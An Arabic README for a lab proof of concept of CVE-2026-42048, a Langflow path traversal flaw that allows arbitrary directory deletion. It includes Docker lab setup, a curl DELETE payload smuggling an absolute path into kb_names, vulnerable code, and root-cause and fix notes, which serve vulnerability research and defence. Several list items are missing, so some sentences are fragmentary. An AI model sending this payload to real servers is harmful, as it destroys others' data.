
Langflow حذف الدليل التعسفي
CVE-2026-42048 Langflow اجتياز المسار / إثبات المفهوم لحذف الدليل التعسفي
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : ثغرة حذف دليل تعسفي في Langflow
الوصف: ثغرة اجتياز المسار في Langflow قبل الإصدار 1.9.0 تسمح لمهاجم مُوثَّق بحذف أدلة خارج مسار تخزين قاعدة المعرفة المقصود من خلال نقطة نهاية الحذف الجماعي، DELETE /api/v1/knowledge_bases. تحدث المشكلة لأن قيم kb_names التي يتحكم بها المستخدم تُستخدم لبناء مسارات نظام الملفات دون تطبيع مناسب والتحقق من الاحتواء.
يتطلب الاستغلال الناجح الشروط التالية:
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names في جسم الطلب.هذه الثغرة لا تتجاوز صلاحيات ملفات نظام التشغيل. إنها تسيء استخدام معالجة المسار ومنطق الحذف الخاص بـ Langflow.
قم ببناء وتشغيل البيئة الضعيفة باستخدام Docker:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
يقوم المختبر بإنشاء دليل مستهدف قابل للاستبدال في:
/target/CVE-2026-42048
تُبلغ نقطة نهاية /status عما إذا كان هذا الدليل لا يزال موجودًا.
python3 poc.py
الإدخال التفاعلي:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
إذا نجح الاستغلال، يتغير target_exists من true إلى false.
النقطة النهائية الضعيفة
DELETE /api/v1/knowledge_bases
توجد الثغرة في API الحذف الجماعي لقواعد المعرفة في Langflow. يقبل المعالج المعني قائمة بأسماء قواعد المعرفة من خلال معامل kb_names ويستخدم كل قيمة لبناء مسار نظام ملفات للحذف.
في الإصدارات الضعيفة، يقوم منطق الحذف الجماعي ببناء المسار يدويًا بدلاً من استخدام مساعد حل المسار الأكثر أمانًا المستخدم في نقاط نهاية قاعدة المعرفة الأخرى. تمثيل مبسط للنمط الضعيف هو:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
يقوم مساعد الحذف في النهاية بإزالة الدليل المستهدف بمنطق حذف متكرر. نظرًا لأن kb_name يتحكم به المهاجم، يمكن لتسلسلات اجتياز المسار مثل ../ الهروب من دليل قاعدة المعرفة الخاص بالمستخدم الحالي. في مكتبة pathlib الخاصة بـ Python، يمكن للمسار المطلق المقدم على الجانب الأيمن أيضًا تجاوز مكونات المسار السابقة:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
نتيجة لذلك، يمكن لقيمة kb_names المحرفة أن تتسبب في حذف Langflow لدليل خارج جذر تخزين قاعدة المعرفة المقصود، طالما أن عملية Langflow لديها إذن لحذف هذا الدليل.
هذه مشكلة CWE-22: تقييد غير مناسب لاسم المسار إلى دليل مقيد.
السبب الجذري هو عدم كفاية التطبيع والتحقق من الحدود لمكونات المسار التي يتحكم بها المستخدم قبل الحذف المتكرر. تتحقق نقطة نهاية الحذف الجماعي الضعيفة مما إذا كان المسار النهائي موجودًا، لكنها لا تضمن أن المسار المحلول لا يزال ضمن دليل قاعدة المعرفة الخاص بالمستخدم المُوثَّق.
يجب أن يقوم الإصلاح القوي بما يلي:
Path.resolve()أصلح Langflow هذه المشكلة في الإصدار 1.9.0.
يمكن أن يؤثر حذف الدليل التعسفي بشكل مباشر على التكامل والتوفر. اعتمادًا على صلاحيات النشر وهيكل نظام الملفات، قد يتمكن المهاجم من:
لا تتطلب هذه المشكلة تنفيذ تعليمات برمجية عشوائية لتكون ضارة. الحذف المتكرر بصلاحيات التطبيق كافٍ لإلحاق الضرر بالبيانات والتوفر.
+-------------------------------------------+
| المستخدم المُوثَّق |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| بناء مسار غير آمن
v
+-------------------------------------------+
| الهروب من دليل مستخدم قاعدة المعرفة المقصود |
+-------------------------------------------+
|
| حذف متكرر للدليل
v
+-------------------------------------------+
| حذف دليل تعسفي |
+-------------------------------------------+
يعرض هذا المختبر وكيل تحدي صغير على المنفذ 9101. يحجب الوكيل واجهة Langflow الكاملة ومنفذ الخلفية المباشر، مع توجيه فقط مسار API الضعيف الأدنى المطلوب لهذا التمرين.
الدليل المستهدف للمختبر هو:
/target/CVE-2026-42048
يمكن استخدام نقطة النهاية /status لتأكيد حذف الدليل المستهدف.
docker stop cve-2026-42048
هذا المستودع ليس المقصود منه تسهيل الاستغلال غير المصرح به لمثيلات Langflow. الغرض من هذا المشروع هو مساعدة الباحثين الأمنيين والمدافعين والمطورين على فهم الثغرة، والتحقق من التعرض في بيئات خاضعة للرقابة، وتطبيق إجراءات التخفيف الفعالة.